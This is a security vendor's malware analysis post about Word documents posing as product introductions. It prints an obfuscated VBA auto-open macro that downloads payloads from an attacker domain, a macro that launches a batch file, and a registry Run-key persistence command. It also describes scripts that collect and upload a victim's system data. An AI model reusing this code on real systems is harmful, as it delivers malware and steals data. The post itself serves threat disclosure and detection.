

Posted on [March 17, 2022](#)

# Malicious Word Files Disguised as Product Introduction

The ASEC analysis team has discovered a word document that is in the same category as the document introduced in the post <[Word File Disguised as a Design Modification Request for Information Theft](#)>, uploaded in December last year. The title of the document confirmed in this case is ‘Product Introduction.doc’. Given that the document includes descriptions for certain products, the attacker likely targeted companies related to distribution and shopping.

The document contains an image that is the same as the one included in the previous malicious document, prompting users to run the macro.





Figure 1. Inside Product Introduction.doc

The properties of the document (Created, Author, and Last Modified By) are the same as those of ‘Design Modification Request.doc’. It seems that the attacker is reusing the same file after editing it.

속성 ▾

크기

347KB

페이지

1

단어 수

0

총 편집 시간

103 분

제목

제목 추가

태그

태그 추가

메모

설명 추가

관련 날짜

마지막으로 수정한 날짜

2021-12-01 오전 10...

만든 날짜

2021-08-31 오후 5:41

마지막으로 인쇄한 날짜

관련 사용자

만든 이

Acer

만든 이 추가

마지막으로 수정한 사람

Acer

관련 문서

파일 위치 열기

모든 속성 표시

속성 ▾

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모든 속성 표시

Figure 2. Document properties (left: Design Modification Request.doc / right: Product Introduction.doc)

The document contains a malicious VBA macro. When the macro is executed, a malicious macro is automatically run through the Document\_Open() function. The macro code is slightly more obfuscated than before, downloading additional files from [hxxp://manage-box.com/ord03](http://hxxp://manage-box.com/ord03) or [/doc03](http://hxxp://manage-box.com/doc03).

```
Sub Document_Open()

Dim strUrl As String
strUrl = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & "manage-box" & Chr(46) & Chr(99) & Chr(111) & Chr(109)

Dim strWorkPath As String
strWorkPath = Chr(67) & Chr(58) & Chr(92) & Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(115) & Chr(92) & Chr(80) & Chr(117) & Chr(98) & Chr(108) & Chr(105) & Chr(99) & Chr(92) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)

Dim strSrcFileName As String
Dim strDstFileName As String

strSrcFileName = Chr(110) & Chr(111) & Chr(48) & Chr(51) & Chr(46) & Chr(116) & Chr(120) & Chr(116)
strDstFileName = Chr(110) & Chr(111) & Chr(49) & Chr(46) & Chr(98) & Chr(97) & Chr(116)
GetMyFile strUrl & Chr(47) & "ord03" & Chr(47) & strSrcFileName, strWorkPath & Chr(92) & strDstFileName

strSrcFileName = Chr(118) & Chr(98) & Chr(115) & Chr(48) & Chr(51) & Chr(46) & Chr(116) & Chr(120) & Chr(116)
strDstFileName = Chr(115) & Chr(101) & Chr(116) & Chr(117) & Chr(112) & Chr(46) & Chr(99) & Chr(97) & Chr(98)
GetMyFile strUrl & Chr(47) & "ord03" & Chr(47) & strSrcFileName, strWorkPath & Chr(92) & strDstFileName

strSrcFileName = "templ403" & Chr(46) & Chr(100) & Chr(111) & Chr(99)
strDstFileName = Chr(116) & Chr(101) & Chr(109) & Chr(112) & Chr(46) & Chr(100) & Chr(111) & Chr(99)
GetMyFile strUrl & Chr(47) & "doc03" & Chr(47) & strSrcFileName, strWorkPath & Chr(92) & strDstFileName

Dim OpenDoc: Set OpenDoc = CreateObject("Word.Application")
OpenDoc.Visible = True
Dim WorkDone: Set WorkDone = OpenDoc.Documents.Open("C:\Users\Public\Documents\temp.doc")

Sub Document_Open()

Dim strUrl As String
strUrl = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & "manage-box" & Chr(46) & Chr(99) & Chr(111) & Chr(109)

Dim strWorkPath As String
strWorkPath = Chr(67) & Chr(58) & Chr(92) & Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(115) & Chr(92) & Chr(80) & Chr(117) & Chr(98) & Chr(108) & Chr(105) & Chr(99) & Chr(92) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)

Dim strSrcFileName As String
Dim strDstFileName As String

strSrcFileName = Chr(110) & Chr(111) & Chr(48) & Chr(51) & Chr(46) & Chr(116) & Chr(120) & Chr(116)
strDstFileName = Chr(110) & Chr(111) & Chr(49) & Chr(46) & Chr(98) & Chr(97) & Chr(116)
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strSrcFileName = Chr(118) & Chr(98) & Chr(115) & Chr(48) & Chr(51) & Chr(46) & Chr(116) & Chr(120) & Chr(116)
strDstFileName = Chr(115) & Chr(101) & Chr(116) & Chr(117) & Chr(112) & Chr(46) & Chr(99) & Chr(97) & Chr(98)
GetMyFile strUrl & Chr(47) & "ord03" & Chr(47) & strSrcFileName, strWorkPath & Chr(92) & strDstFileName

strSrcFileName = "templ403" & Chr(46) & Chr(100) & Chr(111) & Chr(99)
strDstFileName = Chr(116) & Chr(101) & Chr(109) & Chr(112) & Chr(46) & Chr(100) & Chr(111) & Chr(99)
GetMyFile strUrl & Chr(47) & "doc03" & Chr(47) & strSrcFileName, strWorkPath & Chr(92) & strDstFileName

Dim OpenDoc: Set OpenDoc = CreateObject("Word.Application")
OpenDoc.Visible = True
Dim WorkDone: Set WorkDone = OpenDoc.Documents.Open("C:\Users\Public\Documents\temp.doc")
```

Figure 3. Part of VBA macro code included in the Word document

The following files are downloaded through the VBA macro. Inside the downloaded file setup.cab, there exist a total of 5 scripts (download.vbs, error.bat, no4.bat, start.vbs, and upload.vbs).

Download URL	Save path and file name
hxxp://manage-box[.]com/ord03/no03.txt	C:\Users\Public\Documents\no1.bat
hxxp://manage-box[.]com/ord03/vbs03.txt	C:\Users\Public\Documents\setup.cab
hxxp://manage-box[.]com/doc03/temp1403.doc	C:\Users\Public\Documents\temp.doc

Table 1. Download URL and save path

The macro then runs the downloaded file temp.doc. The word document is disguised as a document of a certain company and contains information about particular products.







Figure 4. Inside temp.doc file

The temp.doc document also has the same properties (Created, Author, and Last Modified By) as those from the Design Modification Request.doc file.



Figure 5. Document properties (left: temp.doc downloaded by Design Modification Request.doc right: temp.doc downloaded by Product Introduction.doc)

The temp.doc document also harbors a VBA macro that runs the no1.bat file that was downloaded earlier.

```
Private Declare PtrSafe Function WinExec Lib "kernel32" ( _ ByVal lpCmdLine As String, _ ByVal nCmdShow As Long _ ) As Long Sub Document_Open() WinExec "C:\Users\Public\Documents\no1.bat", 0 End Sub
```

The no1.bat file cannot be confirmed at the moment. Yet as the feature of each script is identical to those in the blog post uploaded earlier, it is likely that the file runs the error.bat file like in the previous case. The table below shows the key behaviors of each script file.

Filename	Key Behaviors
----------	---------------

error.bat	Registers start.vbs to registry Runs no4.bat Downloads additional files
start.vbs	Runs Error.bat
no4.bat	Collects and sends information
download.vbs	Performs download features
upload.vbs	Performs upload features

Table 2. Script names and their key behaviors

The following command is performed when the error.bat file is executed, allowing start.vbs to run continuously.

- “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” /v svchostno2 /t REG\_SZ /d “C:\Users\Public\Documents\start.vbs”

Afterward, the command runs no4.bat and checks for the existence of certain files. It then downloads additional files from [hxxp://safemanners.com/dow11/%COMPUTERNAME%.txt](http://safemanners.com/dow11/%COMPUTERNAME%.txt). The no4.bat file collects information of the user PC as shown below and sends it to [hxxp://safemanners\[.\]com/upl11/upload.php](http://safemanners[.]com/upl11/upload.php).

Collected Items	Saved File Name
C:\Users\%username%\downloads\ list	%~dp0\cuserdown.txt
C:\Users\%username%\documents\ list	%~dp0\cuserdocu.txt
C:\Users\%username%\desktop\ list	%~dp0\cuserdesk.txt
C:\Program Files\ list	%~dp0\cprog.txt
IP information	%~dp0\ipinfo.txt
tasklist	%~dp0\tsklt.txt
systeminfo	%~dp0\systeminfo.txt

Table 3. Collected items and saved file names

Currently, accessing the malicious URL ([manage-box\[.\]com](http://manage-box[.]com) and [safemanners\[.\]com](http://safemanners[.]com)) in the word document and script file redirects the user to [mail.naver.com](http://mail.naver.com). It appears that the attacker is trying to mask the website to make it seem harmless to users.

Since it has been confirmed that there are malicious word documents containing information on distribution and shopping instead of North Korea-related materials, caution is advised for Korean users whom the attacker appears to be targeting. Users should refrain from opening attachments from emails sent from unknown users and make sure to check the sender even when the information is relevant to their situations.

[V3 Detection]

- Downloader/DOC.Generic
- Trojan/DOC.Agent
- Trojan/VBS.Runner
- Trojan/BAT.Agent
- Downloader/BAT.Generic

[Relevant IOC Info]

- 10610cfe6cbf5a7dd5198a87e3186294
- 7bc342318717ac411898324baf549b76
- dc5ecb12dae64202922437edbe5a4842
- [hxxp://manage-box.com/ord03/no03.txt](http://manage-box.com/ord03/no03.txt)
- [hxxp://manage-box.com/ord03/vbs03.txt](http://manage-box.com/ord03/vbs03.txt)
- [hxxp://manage-box.com/doc03/temp1403.doc](http://manage-box.com/doc03/temp1403.doc)
- [hxxp://safemanners\[.\]com/upl11/upload.php](http://safemanners[.]com/upl11/upload.php)

Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.

AhnLab TIP

## 빠르게 변화하는 보안 위협 최적의 의사결정

안랩의 차별화된 위협 인텔리전스와 함께 시작해 보세요

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Categories: [Malware Information](#)

Tagged as: [VBA Macro](#), [Word](#), [Word Document](#)